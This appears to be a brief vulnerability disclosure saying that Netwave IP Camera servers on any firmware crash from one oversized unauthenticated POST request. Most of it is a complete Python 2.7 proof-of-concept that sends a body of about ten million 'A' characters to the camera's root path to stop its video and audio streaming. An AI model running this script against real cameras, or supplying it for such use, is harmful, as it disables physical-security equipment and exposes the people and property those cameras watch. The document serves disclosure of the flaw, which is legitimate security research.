Netwave IP Camera server vulnerable to unauthenticated Denial of Service via one single huge POST request on any firmware.

0. Introduction:

During an IoT security research, some vulnerabilities have been discovered on differnet IP camera vendors. Netwave IP Camera is a IP Camera server which allows to see camera video and administrate the camera. IP Cameras are used especially for physical security and control purposes, so it's availability is crucial.

1. Denial of Service:

Any Netwave IP Camera can be taken down just by sending a huge POST request to its root path. Once you send the request, the device get stucked and stops streaming audio and video.

Proof of Concept: Run the following Python 2.7 script against any NetWave IP Camera, it will stop responding and streaming video/audio instantly.

import string
import httplib
import urllib2

host = "CAMERA_IP"
port = 80
params='A'*9999999 # Huge body

headers = { 
"Host": host + ':' + str(port),
"Connection": "keep-alive",
"Content-Length": 9999999,
}

url = "/"

conn = httplib.HTTPConnection(host,port=port)
conn.request("POST",url,params,headers)
response = conn.getresponse()
data = response.read()
print data
